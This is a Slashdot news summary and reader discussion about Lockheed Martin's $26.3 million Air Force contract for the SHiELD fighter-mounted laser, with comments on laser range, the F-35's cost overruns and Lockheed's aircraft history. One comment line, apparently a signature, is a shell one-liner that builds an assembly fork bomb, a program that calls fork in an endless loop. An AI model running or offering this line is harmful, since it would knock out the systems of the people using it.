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Lockheed Martin To Build High-Energy Airborne Laser For Fighter Planes (newatlas.com)
Slashdot reader Big Hairy Ian quotes New Atlas: In a move that could revolutionize aerial combat, the US Air Force Research Lab (AFRL) has awarded Lockheed Martin a US$26.3 million contract to design, develop, and produce a high-power laser weapon that the AFRL wants to install and test on a tactical fighter jet by 2021. The new test weapon is part of the AFRL Self-protect High Energy Laser Demonstrator (SHiELD) program tasked with developing airborne laser systems.
Airborne laser weapons are nothing new. Experimental lasers mounted on aircraft date back to the US Strategic Defense Initiative of the 1980s, but producing a practical weapon system has proven difficult. Previous attempts have resulted in dodgy chemical laser weapons so bulky that they had to be mounted in a 747, but the development of solid state fiber optic lasers is starting to change the game. Earlier this year, Lockheed's ground-based ATHENA system shot down five 10.8-ft (3.3-m) wingspan Outlaw drones by focusing its 30-kW Accelerated Laser Demonstration Initiative (ALADIN) laser at their stern control surfaces until they burned off, sending them crashing into the desert floor.
Airborne laser weapons are nothing new. Experimental lasers mounted on aircraft date back to the US Strategic Defense Initiative of the 1980s, but producing a practical weapon system has proven difficult. Previous attempts have resulted in dodgy chemical laser weapons so bulky that they had to be mounted in a 747, but the development of solid state fiber optic lasers is starting to change the game. Earlier this year, Lockheed's ground-based ATHENA system shot down five 10.8-ft (3.3-m) wingspan Outlaw drones by focusing its 30-kW Accelerated Laser Demonstration Initiative (ALADIN) laser at their stern control surfaces until they burned off, sending them crashing into the desert floor.
...will it include sharks?
That's because Lockheed Martin, who in no way pay me to shill, are committed to delivering reliable and value for money solutions to defend American freedom.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you were to say that out loud, would your face hurt?
Mimetics Inc. Twitter
The laser beam would presumably pass through some kind of optical turret, which can track a moving target. That's the easy part, leaving the energy and weight requirements.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
In the most optimistic reading, what'll be delivered is a working prototype. 26 million maybe pays for ten or twenty people. After four years, that could, in principle, be enough to field a working prototype. Maybe.
26 million is the camel's nose.
For reference look at the F-35.
The development of the Joint Strike Fighter, a fifth-generation stealth jet, has been beset by spiraling costs and schedule delays. The program's price tag is nearly $400 billion for 2,457 planes -- almost twice the initial estimate.
It little behooves the best of us to comment on the rest of us.
So the same people who brought us the F-35, Trailer Queen of Battle, are now getting even more billions of taxpayer dollars to build a fighter-borne laser?
Unless it can shoot down the enemy from inside a repair facility, I don't see much hope for this project.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
According to TFA, today's hallucination appears to have been triggered by the development of 'solid state fiber optic lasers'. Sounded like buzzword bingo but they are really a thing:
http://www.laserfocusworld.com...
(Nice review).
Now, whether or not it can be appropriately weaponized (by Lockeed of all things) is another question. But as been pointed out, $26 million will probably just get some cute CGI cartoons of laser battles which will likely look suspiciously like something out of a Star Wars trailer.
Faster! Faster! Faster would be better!
Then you get wasted by an a2a missile from 60-70 km because your fancy laser only has a range of 10 km.
The obvious solution is to put the laser on the missile, yielding a combined range of 70-80km.
Or even better, put it on a reusable drone. If you are firing a laser from 10km away, what is the purpose of the pilot?
Lockheed made the SR-71, U-2, F-117, P-38, C-69 and C-130. All were innovative aircraft that were considered excellent at what they did. They also made the P-80, F-104, P-80, C-141 and C-5 and the L-1011 which were all around good aircraft. Lockheed knows how to make aircraft.
While Lockheed certainly shoulders blame for the turd that is the F-35, the biggest cause is the design by committee approach trying to service the needs of all the service branches (Air Force, Marines, Navy) as well as the international market. Kelly Johnson is surely spinning in his grave. Every time this has been tried in the past it was a complete disaster. The F-111 being the prime example... good plane but development was a complete boondoggle and it never lived up to initial requirements or expectations. The thought this time was that technology would allow them to overcome past problems (which was the same thought with the F-111) but if you put the aircraft the F-35 is meant to replace side by side you're going to see just how insane this is:
The biggest dichotomy is the Harrier vs the Strike Eagle. The AV-8B is small and lightweight to allow for VTOL, the F-15E is a bomb truck whose dry weight is more than the AV-8B's fully loaded rolling take off weight. You just can't have a VTOL aircraft that is stealthy and has a decent bomb load out. You either have a massive internal bomb bay, which pretty much rules out VTOL or you have external stores which rules out stealth. It was doomed before it ever started.
Aaaaand a laser travels at 670,000,000 MPH. Assuming that Lockheed can make a targeting system that can accurately track and target something in the sky and a turret that can aim the laser system accurately (they already demonstrated both), the difference in design challenge is trivial between a target at 120 MPH and 800 MPH. Actually, the smaller drone is probably harder to keep the laser steady on than a full sized jet. Knowing the guys over there, I am confident if the laser technology is there, they can definitely make an effective weapon system out of it, assuming they can get a reasonable set of design specs out of the military without the government cocking it up with bureaucracy and ridiculous requirements.
The reason they are shooting down drones is price tag. If you have a couple of supersonic Soviet aircraft to donate, I am sure they would be happy to shoot them down for you.
If you disagree, please post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like